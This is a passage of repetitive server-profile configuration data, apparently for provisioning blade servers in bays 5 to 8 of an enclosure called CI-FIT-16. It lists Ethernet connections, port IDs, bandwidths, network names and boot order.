'NS:NS_3987', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 11, 'name': '11', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3987', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 12, 'name': '12', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_37', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 13, 'name': '13', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_37', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 14, 'name': '14', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_38', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 15, 'name': '15', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_38', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 16, 'name': '16', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_39', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 17, 'name': '17', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_39', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 18, 'name': '18', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3986', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 19, 'name': '19', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3986', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 20, 'name': '20', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_40', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 21, 'name': '21', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_40', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 22, 'name': '22', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_41', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 23, 'name': '23', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_41', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 24, 'name': '24', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_42', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 25, 'name': '25', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_42', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 26, 'name': '26', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-b', 'requestedMbps': '2500', 'networkUri': 'ETH:Tunnel1', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 27, 'name': '27', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-b', 'requestedMbps': '2500', 'networkUri': 'ETH:Tunnel2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 28, 'name': '28', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_43', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 29, 'name': '29', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_43', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 30, 'name': '30', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_44', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 31, 'name': '31', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_44', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-16, bay 5', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-16', 'enclosureGroupUri': 'EG:F10D-F10D-F10D-F10D', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-16_Bay5-BL660cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_4000', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_4000', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_1', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_1', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_3', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_3', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 10, 'name': '10', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3999', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 11, 'name': '11', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3999', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 12, 'name': '12', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_4', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 13, 'name': '13', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_4', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 14, 'name': '14', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_5', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 15, 'name': '15', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_5', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 16, 'name': '16', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_6', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 17, 'name': '17', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_6', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 18, 'name': '18', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3998', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 19, 'name': '19', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3998', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 20, 'name': '20', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_7', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 21, 'name': '21', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_7', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 22, 'name': '22', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_8', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 23, 'name': '23', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_8', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 24, 'name': '24', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_9', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 25, 'name': '25', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_9', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 26, 'name': '26', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-b', 'requestedMbps': '2500', 'networkUri': 'ETH:Tunnel1', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 27, 'name': '27', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-b', 'requestedMbps': '2500', 'networkUri': 'ETH:Tunnel2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 28, 'name': '28', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_10', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 29, 'name': '29', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_10', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 30, 'name': '30', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_11', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 31, 'name': '31', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_11', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-16, bay 6', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-16', 'enclosureGroupUri': 'EG:F10D-F10D-F10D-F10D', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-16_Bay6-BL660cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3996', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3996', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_12', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_12', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_13', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_13', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_14', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_14', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 10, 'name': '10', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3995', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 11, 'name': '11', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3995', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 12, 'name': '12', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_15', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 13, 'name': '13', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_15', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 14, 'name': '14', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_16', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 15, 'name': '15', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_16', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 16, 'name': '16', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_17', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 17, 'name': '17', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_17', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 18, 'name': '18', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3994', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 19, 'name': '19', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3994', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 20, 'name': '20', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_18', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 21, 'name': '21', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_18', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 22, 'name': '22', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_19', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 23, 'name': '23', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_19', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 24, 'name': '24', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_20', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 25, 'name': '25', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_20', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 26, 'name': '26', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-b', 'requestedMbps': '2500', 'networkUri': 'ETH:Tunnel1', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 27, 'name': '27', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-b', 'requestedMbps': '2500', 'networkUri': 'ETH:Tunnel2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 28, 'name': '28', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_21', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 29, 'name': '29', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_21', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 30, 'name': '30', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_22', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 31, 'name': '31', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_22', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-16, bay 7', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-16', 'enclosureGroupUri': 'EG:F10D-F10D-F10D-F10D', 'serialNumberType': 'Virtual', 'macType': 'Virtual', 'wwnType': 'Virtual', 'name': 'CI-FIT-16_Bay7-BL660cGen8', 'description': '', 'affinity': 'Bay', 'boot': {'manageBoot': True, 'order': ['CD', 'Floppy', 'USB', 'PXE', 'HardDisk']}, 'connections': [{'id': 1, 'name': '1', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:IC', 'boot': {'priority': 'Primary'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 2, 'name': '2', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3992', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 3, 'name': '3', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3992', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 4, 'name': '4', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_23', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 5, 'name': '5', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_23', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 6, 'name': '6', 'functionType': 'Ethernet', 'portId': 'Flb 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_24', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 7, 'name': '7', 'functionType': 'Ethernet', 'portId': 'Flb 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_24', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 8, 'name': '8', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_25', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 9, 'name': '9', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_25', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 10, 'name': '10', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3991', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 11, 'name': '11', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3991', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 12, 'name': '12', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_26', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 13, 'name': '13', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_26', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 14, 'name': '14', 'functionType': 'Ethernet', 'portId': 'Mezz 1:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_27', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 15, 'name': '15', 'functionType': 'Ethernet', 'portId': 'Mezz 1:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_27', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 16, 'name': '16', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_28', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 17, 'name': '17', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_28', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 18, 'name': '18', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3990', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 19, 'name': '19', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-b', 'requestedMbps': '2500', 'networkUri': 'NS:NS_3990', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 20, 'name': '20', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_29', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 21, 'name': '21', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_29', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 22, 'name': '22', 'functionType': 'Ethernet', 'portId': 'Mezz 2:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_30', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 23, 'name': '23', 'functionType': 'Ethernet', 'portId': 'Mezz 2:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_30', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 24, 'name': '24', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_31', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 25, 'name': '25', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-a', 'requestedMbps': '2500', 'networkUri': 'ETH:net_31', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 26, 'name': '26', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-b', 'requestedMbps': '2500', 'networkUri': 'ETH:Tunnel1', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 27, 'name': '27', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-b', 'requestedMbps': '2500', 'networkUri': 'ETH:Tunnel2', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 28, 'name': '28', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_32', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 29, 'name': '29', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-c', 'requestedMbps': '2500', 'networkUri': 'ETH:net_32', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 30, 'name': '30', 'functionType': 'Ethernet', 'portId': 'Mezz 3:1-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_33', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, {'id': 31, 'name': '31', 'functionType': 'Ethernet', 'portId': 'Mezz 3:2-d', 'requestedMbps': '2500', 'networkUri': 'ETH:net_33', 'boot': {'priority': 'NotBootable'}, 'mac': None, 'wwpn': '', 'wwnn': ''}, ]}, {'type': 'ServerProfileV5', 'serverHardwareUri': 'CI-FIT-16, bay 8', 'serverHardwareTypeUri': '', 'enclosureUri': 'ENC:CI-FIT-16', 'enclosureGroupUri': 